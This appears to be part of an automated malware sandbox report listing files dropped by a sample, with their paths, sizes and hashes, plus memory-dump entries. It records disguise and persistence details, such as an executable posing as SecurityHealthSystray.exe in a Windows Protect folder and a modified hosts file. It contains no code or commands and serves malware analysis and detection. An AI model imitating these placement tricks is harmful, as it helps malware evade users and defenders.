MD5 SHA1 SHA512

Submit Download

SecurityHealthSystray.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Size 5.6MB
SHA256 9b5d62a06818e4cc6c1514541fede00cea9cdc69044b780c7a4aa5a80794d6f3
MD5 e6760f23af684311707d171576c96d59
SHA1 fdb0878cace0209f9948a8a657437653b03e1f2e
SHA512 6cf5643eb4e49fe1cea4ca3c58cbdc040c8544f60c457fad2ccec6fe2ff97c4c65e94b57f271e8b6cddbd445efadcb38acf5d97aa91c449f20ca2723c213c461
SSDEEP 49152:mLul8FOf9mjXeyp9HQnVNMAgf6N0RQsz3ExPp6Hw/4cj7yiX3z3uQWChf13OPvxL:Kemznaof66WiUlz33WCh9upzEg
MD5 SHA1 SHA512 SSDEEP

Submit Download

sccs2kbi.bvx0.exe

Path C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx0.exe
Size 92KB
SHA256 96a733f74dd92c7787c1b422508ce76fdda7a1b58af0a5c865c72512b24c108d
MD5 b23b19cddba1a89815fe4f0409d92c89
SHA1 fffd47156c8072995a94d981fb4d5250bdc22db4
SHA512 4e2f458f141d704afa27b8c180c7396064ca07b85d414358e7da0e0af9b085629fdc38132d8ab2403ec647ee7bb01b1b72c58de15860b021e732e200bbf17403
SSDEEP 1536:I7f9h0UPJP/CpICdikMLMLv5PFNg1qrX+VIOlnToIfegIx89H:GliUPXC8k1nJrX+fNTBfuG9H
MD5 SHA1 SHA512 SSDEEP

Submit Download

sccs2kbi.bvx1.exe

Path C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx1.exe
Size 355KB
SHA256 f9d1a3b43fdeca1691af785f6bdfb445c224e46e58be9d27ba4d77801ef2183f
MD5 c93d65bc0ed7ee88d266b4be759301f8
SHA1 8c0c415ba824737c61904676e7132094f5710099
SHA512 7a66f73d0d4ebd3eb160f87842883d427a3a85a75cb716db96b27670f2c96e75bf396fa2ac65f05413c1a7f16d961d242676320228e1d0c805318a88236f55f1
SSDEEP 6144:g2qezd2ab1/RuHk+M3k8M3W7XomjOJCqshrOlumY6DMIewgxQfqssb:gf2R/EEkCQFYDwRq3
MD5 SHA1 SHA512 SSDEEP

Submit Download

sccs2kbi.bvx2.exe

Path C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx2.exe
Size 5.2MB
SHA256 cf3389f2b5fb30f790542cd05deb5cb3b9bb10f828b8822cce1c0b83da9d6eb9
MD5 f55fc8c32bee8f7b2253298f0a0012ba
SHA1 574c7a8f3eb378c03f58bc96252769296b20970e
SHA512 c956fb150b34d3928eed545644cbf7914e7db3b079d4f260b9f40bf62aaf4432b4cdfd32c99abc9cd7ca79e66d0751d4a30c47087c39a38865b69dc877ac8f2a
SSDEEP 98304:4LhhCOROqXn0tvoNrtdiDUkVBXjz2N5dMe71GpN:4eO4Wn0tv+rtVkLXnKPMu
MD5 SHA1 SHA512 SSDEEP

Submit Download

sccs2kbi.bvx3.exe

Path C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx3.exe
Size 3.6MB
SHA256 27f050b3f20641df50600709f725a966491a14a87d8e7f1dd507452935d3f9f5
MD5 92de55b51021895809b9a608e9b0e8e5
SHA1 338174b8aaa9b6ae028352f7e79b074b6fb48629
SHA512 88ab96e094978aa47dcd627bdbacdbbbae8b2e184b8c846008b03d2350cd1a199def00074ef5b1efd2523c3da8bec14a8090a5569e5938abff774d602e07ad1f
SSDEEP 49152:mLul8FOf9mjXeyp9HQnVNMAgf6N0RQsz3ExPp6Hw/4cj7yiX3i:Kemznaof66WiUli
MD5 SHA1 SHA512 SSDEEP

Submit Download

sccs2kbi.bvx3.exe

Path C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx3.exe
Size 5.8MB
SHA256 635331d017eae4e6923e5fccc0e181d0a025d8d2d6843d53827603e342810699
MD5 c538ea4cc285ddab32866d2424a87b76
SHA1 17dca4069b1b153052af473b2d62f64858c3f7b8
SHA512 8b620c45f411bab641e6f73b2742254979ed26df068946799909b6cf940072fff0f6d4a49f24d196c3333a62312109763b29af68074d6706d2815158ec3c97e0
SSDEEP 49152:mLul8FOf9mjXeyp9HQnVNMAgf6N0RQsz3ExPp6Hw/4cj7yiX3z3uQWChf13OPvxu:Kemznaof66WiUlz33WCh9upzEgi
MD5 SHA1 SHA512 SSDEEP

Submit Download

sccs2kbi.bvx3.exe

Path C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx3.exe
Size 6.9MB
SHA256 5542a92286988d31ea490a60346f5fbc23f0924848ab7bb558a8a9996e0e1bac
MD5 a201a9049baaad83f0f6290a035444e6
SHA1 254cc6d7604d27419105db80b285870f22edfbc5
SHA512 f1e7e324474e3e0a4f4e8ffedbfcf3182b01f9b5a1914f285c7ff5878f307a59311b04f4ea8960db0f283c137808285f7160040b0f45bf87140e1cb1c526357c
SSDEEP 49152:mLul8FOf9mjXeyp9HQnVNMAgf6N0RQsz3ExPp6Hw/4cj7yiX3z3uQWChf13OPvxF:Kemznaof66WiUlz33WCh9upzEgKG
MD5 SHA1 SHA512 SSDEEP

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 2KB
SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
MD5 6e2386469072b80f18d5722d07afdc0b
SHA1 032d13e364833d7276fcab8a5b2759e79182880f
SHA512 e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
MD5 SHA1 SHA512

Submit Download

CSCD6A7C80F61A145AB81DFE5BD88B77EEE.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\mpqddtho\CSCD6A7C80F61A145AB81DFE5BD88B77EEE.TMP
Size 652B
SHA256 03225566d7816804da3d269d10ac3f73b5a8a526a120e08ce490f30d0623862d
MD5 5ad88002de1ed61d4ee5199c9550409f
SHA1 e20743f55ecefda2dda89c519de19061496be60b
SHA512 f5febb0401d37815211f633185f7bbde36fa68933653827d12329ff654cc1e4c1c39e4edde42878c753b606f899f8574a0904447080ba89520c238d1ccb44c2e
MD5 SHA1 SHA512

Submit Download

mpqddtho.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\mpqddtho\mpqddtho.0.cs
Size 1004B
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
MD5 SHA1 SHA512

Submit Download

mpqddtho.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\mpqddtho\mpqddtho.cmdline
Size 607B
SHA256 de19f231b8eda51b9128c956c3be4a991cf2e796298e443518eed250f52f1f92
MD5 b96a112172e78c5788e43aad84ac2708
SHA1 a4213335f1c174bf1e8c8a1ce9fff30b89ebb2cf
SHA512 56cac66910661f0844ed1aec08512dbac5df3a5405b38bfa0fb17876e38684e03d056533d9281d1fbdb01b2f7ca6181be2e4f9d74a1c8cddaf7ec62508e31e24
MD5 SHA1 SHA512

Submit Download

memory/372-183-0x000001B5AABB0000-0x000001B5AABDB000-memory.dmp

Download

memory/372-184-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/492-59-0x00007FF85B420000-0x00007FF85BEE1000-memory.dmp

Download

memory/492-17-0x00007FF85B420000-0x00007FF85BEE1000-memory.dmp

Download

memory/492-8-0x0000028AB99A0000-0x0000028AB99C2000-memory.dmp

Download

memory/492-15-0x00007FF85B420000-0x00007FF85BEE1000-memory.dmp

Download

memory/492-16-0x00007FF85B420000-0x00007FF85BEE1000-memory.dmp

Download

memory/492-14-0x00007FF85B420000-0x00007FF85BEE1000-memory.dmp

Download

memory/492-13-0x00007FF85B420000-0x00007FF85BEE1000-memory.dmp

Download

memory/524-192-0x000001C6456E0000-0x000001C64570B000-memory.dmp

Download

memory/524-193-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/548-190-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/548-189-0x0000021607AD0000-0x0000021607AFB000-memory.dmp

Download

memory/624-111-0x00000000004A0000-0x00000000004A9000-memory.dmp

Download

memory/624-114-0x0000000002110000-0x0000000002510000-memory.dmp

Download

memory/624-117-0x0000000076C80000-0x0000000076E95000-memory.dmp

Download

memory/624-115-0x00007FF879430000-0x00007FF879625000-memory.dmp

Download

memory/628-173-0x0000016016250000-0x000001601627B000-memory.dmp

Download

memory/628-175-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/684-172-0x000001EBF3260000-0x000001EBF3284000-memory.dmp

Download

memory/684-174-0x000001EBF3290000-0x000001EBF32BB000-memory.dmp

Download

memory/684-177-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/972-186-0x000001C2DF640000-0x000001C2DF66B000-memory.dmp

Download

memory/972-187-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/1048-200-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/1048-199-0x0000017E35BC0000-0x0000017E35BEB000-memory.dmp

Download

memory/1056-203-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/1056-202-0x0000022941590000-0x00000229415BB000-memory.dmp

Download

memory/1204-206-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/1204-205-0x0000020C97D00000-0x0000020C97D2B000-memory.dmp

Download

memory/1212-209-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/1212-208-0x0000020A84720000-0x0000020A8474B000-memory.dmp

Download

memory/1260-214-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/1260-213-0x00000169C35D0000-0x00000169C35FB000-memory.dmp

Download

memory/2720-140-0x00000190B48A0000-0x00000190B48A8000-memory.dmp

Download

memory/3076-0-0x00007FF85B423000-0x00007FF85B425000-memory.dmp

Download

memory/3076-1-0x0000000000840000-0x0000000000848000-memory.dmp

Download

memory/4236-159-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/4236-165-0x00007FF879430000-0x00007FF879625000-memory.dmp

Download

memory/4236-160-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/4236-166-0x00007FF878E70000-0x00007FF878F2E000-memory.dmp

Download

memory/4236-161-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/4236-164-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/4236-162-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/4236-168-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/4312-40-0x00000000009C0000-0x0000000000A2D000-memory.dmp

Download

memory/4312-110-0x0000000076C80000-0x0000000076E95000-memory.dmp

Download

memory/4312-108-0x00007FF879430000-0x00007FF879625000-memory.dmp

Download

memory/4312-107-0x00000000031A0000-0x00000000035A0000-memory.dmp

Download

memory/4312-112-0x00000000009C0000-0x0000000000A2D000-memory.dmp

Download

memory/4312-106-0x00000000031A0000-0x00000000035A0000-memory.dmp

Download